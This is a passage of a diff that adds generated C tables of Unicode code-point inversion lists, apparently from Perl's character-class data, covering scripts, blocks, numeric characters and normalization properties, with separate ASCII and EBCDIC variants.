+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x302E,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA670,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0100,
+	0xE01F0
+};
+
+static const UV PL_MODI_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA830,
+	0xA83A,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A
+};
+
+static const UV PL_MODIFIERLETTERS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2B0,
+	0x300
+};
+
+static const UV PL_MODIFIERTONELETTERS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA700,
+	0xA720
+};
+
+static const UV PL_MONG_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x11660,
+	0x1166D
+};
+
+static const UV PL_MONGOLIANSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11660,
+	0x11680
+};
+
+static const UV PL_MRO_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70
+};
+
+static const UV PL_MTEI_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAAE0,
+	0xAAF7,
+	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA
+};
+
+static const UV PL_MULT_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA66,
+	0xA70,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA
+};
+
+static const UV PL_MUSIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D100,
+	0x1D200
+};
+
+static const UV PL_MYANMAREXTA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAA60,
+	0xAA80
+};
+
+static const UV PL_MYANMAREXTB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA9E0,
+	0xAA00
+};
+
+static const UV PL_MYMR_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1000,
+	0x10A0,
+	0xA92E,
+	0xA92F,
+	0xA9E0,
+	0xA9FF,
+	0xAA60,
+	0xAA80
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_N_invlist[] = { /* for ASCII/Latin1 */
+	233,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0xB2,
+	0xB4,
+	0xB9,
+	0xBA,
+	0xBC,
+	0xBF,
+	0x660,
+	0x66A,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0x9F4,
+	0x9FA,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xB72,
+	0xB78,
+	0xBE6,
+	0xBF3,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC7F,
+	0xCE6,
+	0xCF0,
+	0xD58,
+	0xD5F,
+	0xD66,
+	0xD79,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF34,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x1369,
+	0x137D,
+	0x16EE,
+	0x16F1,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DB,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2150,
+	0x2183,
+	0x2185,
+	0x218A,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0xA620,
+	0xA62A,
+	0xA6E6,
+	0xA6F0,
+	0xA830,
+	0xA836,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0xFF10,
+	0xFF1A,
+	0x10107,
+	0x10134,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x1034B,
+	0x103D1,
+	0x103D6,
+	0x104A0,
+	0x104AA,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A40,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11052,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173C,
+	0x118E0,
+	0x118F3,
+	0x11C50,
+	0x11C6D,
+	0x11D50,
+	0x11D5A,
+	0x12400,
+	0x1246F,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1D7CE,
+	0x1D800,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E950,
+	0x1E95A,
+	0x1F100,
+	0x1F10D
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_N_invlist[] = { /* for EBCDIC 1047 */
+	233,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xBA,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0x660,
+	0x66A,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0x9F4,
+	0x9FA,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xB72,
+	0xB78,
+	0xBE6,
+	0xBF3,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC7F,
+	0xCE6,
+	0xCF0,
+	0xD58,
+	0xD5F,
+	0xD66,
+	0xD79,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF34,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x1369,
+	0x137D,
+	0x16EE,
+	0x16F1,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DB,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2150,
+	0x2183,
+	0x2185,
+	0x218A,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0xA620,
+	0xA62A,
+	0xA6E6,
+	0xA6F0,
+	0xA830,
+	0xA836,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0xFF10,
+	0xFF1A,
+	0x10107,
+	0x10134,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x1034B,
+	0x103D1,
+	0x103D6,
+	0x104A0,
+	0x104AA,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A40,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11052,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173C,
+	0x118E0,
+	0x118F3,
+	0x11C50,
+	0x11C6D,
+	0x11D50,
+	0x11D5A,
+	0x12400,
+	0x1246F,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1D7CE,
+	0x1D800,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E950,
+	0x1E95A,
+	0x1F100,
+	0x1F10D
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_N_invlist[] = { /* for EBCDIC 037 */
+	233,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xBA,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0x660,
+	0x66A,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0x9F4,
+	0x9FA,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xB72,
+	0xB78,
+	0xBE6,
+	0xBF3,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC7F,
+	0xCE6,
+	0xCF0,
+	0xD58,
+	0xD5F,
+	0xD66,
+	0xD79,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF34,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x1369,
+	0x137D,
+	0x16EE,
+	0x16F1,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DB,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2150,
+	0x2183,
+	0x2185,
+	0x218A,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0xA620,
+	0xA62A,
+	0xA6E6,
+	0xA6F0,
+	0xA830,
+	0xA836,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0xFF10,
+	0xFF1A,
+	0x10107,
+	0x10134,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x1034B,
+	0x103D1,
+	0x103D6,
+	0x104A0,
+	0x104AA,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A40,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11052,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173C,
+	0x118E0,
+	0x118F3,
+	0x11C50,
+	0x11C6D,
+	0x11D50,
+	0x11D5A,
+	0x12400,
+	0x1246F,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1D7CE,
+	0x1D800,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E950,
+	0x1E95A,
+	0x1F100,
+	0x1F10D
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NARB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10A80,
+	0x10AA0
+};
+
+static const UV PL_NB_invlist[] = { /* for all charsets */
+	96,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x870,
+	0x8A0,
+	0x1C90,
+	0x1CC0,
+	0x2FE0,
+	0x2FF0,
+	0x10200,
+	0x10280,
+	0x103E0,
+	0x10400,
+	0x10570,
+	0x10600,
+	0x10780,
+	0x10800,
+	0x108B0,
+	0x108E0,
+	0x10940,
+	0x10980,
+	0x10AA0,
+	0x10AC0,
+	0x10BB0,
+	0x10C00,
+	0x10C50,
+	0x10C80,
+	0x10D00,
+	0x10E60,
+	0x10E80,
+	0x11000,
+	0x11250,
+	0x11280,
+	0x11380,
+	0x11400,
+	0x114E0,
+	0x11580,
+	0x116D0,
+	0x11700,
+	0x11740,
+	0x118A0,
+	0x11900,
+	0x11A00,
+	0x11AB0,
+	0x11AC0,
+	0x11B00,
+	0x11C00,
+	0x11CC0,
+	0x11D00,
+	0x11D60,
+	0x12000,
+	0x12550,
+	0x13000,
+	0x13430,
+	0x14400,
+	0x14680,
+	0x16800,
+	0x16A70,
+	0x16AD0,
+	0x16B90,
+	0x16F00,
+	0x16FA0,
+	0x16FE0,
+	0x18B00,
+	0x1B000,
+	0x1B130,
+	0x1B170,
+	0x1B300,
+	0x1BC00,
+	0x1BCB0,
+	0x1D000,
+	0x1D250,
+	0x1D300,
+	0x1D380,
+	0x1D400,
+	0x1DAB0,
+	0x1E000,
+	0x1E030,
+	0x1E800,
+	0x1E8E0,
+	0x1E900,
+	0x1E960,
+	0x1EE00,
+	0x1EF00,
+	0x1F000,
+	0x1FA00,
+	0x20000,
+	0x2A6E0,
+	0x2A700,
+	0x2EBF0,
+	0x2F800,
+	0x2FA20,
+	0xE0000,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0x110000
+};
+
+static const UV PL_NBAT_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10880,
+	0x1089F,
+	0x108A7,
+	0x108B0
+};
+
+static const UV PL_NCHAR_invlist[] = { /* for all charsets */
+	37,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFDD0,
+	0xFDF0,
+	0xFFFE,
+	0x10000,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xEFFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE,
+	0x110000
+};
+
+static const UV PL_NEWA_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E
+};
+
+static const UV PL_NFCQC__M_invlist[] = { /* for all charsets */
+	83,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x305,
+	0x306,
+	0x30D,
+	0x30F,
+	0x310,
+	0x311,
+	0x312,
+	0x313,
+	0x315,
+	0x31B,
+	0x31C,
+	0x323,
+	0x329,
+	0x32D,
+	0x32F,
+	0x330,
+	0x332,
+	0x338,
+	0x339,
+	0x342,
+	0x343,
+	0x345,
+	0x346,
+	0x653,
+	0x656,
+	0x93C,
+	0x93D,
+	0x9BE,
+	0x9BF,
+	0x9D7,
+	0x9D8,
+	0xB3E,
+	0xB3F,
+	0xB56,
+	0xB58,
+	0xBBE,
+	0xBBF,
+	0xBD7,
+	0xBD8,
+	0xC56,
+	0xC57,
+	0xCC2,
+	0xCC3,
+	0xCD5,
+	0xCD7,
+	0xD3E,
+	0xD3F,
+	0xD57,
+	0xD58,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD0,
+	0xDDF,
+	0xDE0,
+	0x102E,
+	0x102F,
+	0x1161,
+	0x1176,
+	0x11A8,
+	0x11C3,
+	0x1B35,
+	0x1B36,
+	0x3099,
+	0x309B,
+	0x110BA,
+	0x110BB,
+	0x11127,
+	0x11128,
+	0x1133E,
+	0x1133F,
+	0x11357,
+	0x11358,
+	0x114B0,
+	0x114B1,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x115AF,
+	0x115B0
+};
+
+static const UV PL_NFCQC__Y_invlist[] = { /* for all charsets */
+	223,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x305,
+	0x306,
+	0x30D,
+	0x30F,
+	0x310,
+	0x311,
+	0x312,
+	0x313,
+	0x315,
+	0x31B,
+	0x31C,
+	0x323,
+	0x329,
+	0x32D,
+	0x32F,
+	0x330,
+	0x332,
+	0x338,
+	0x339,
+	0x340,
+	0x346,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x653,
+	0x656,
+	0x93C,
+	0x93D,
+	0x958,
+	0x960,
+	0x9BE,
+	0x9BF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB3E,
+	0xB3F,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xBBE,
+	0xBBF,
+	0xBD7,
+	0xBD8,
+	0xC56,
+	0xC57,
+	0xCC2,
+	0xCC3,
+	0xCD5,
+	0xCD7,
+	0xD3E,
+	0xD3F,
+	0xD57,
+	0xD58,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD0,
+	0xDDF,
+	0xDE0,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF77,
+	0xF78,
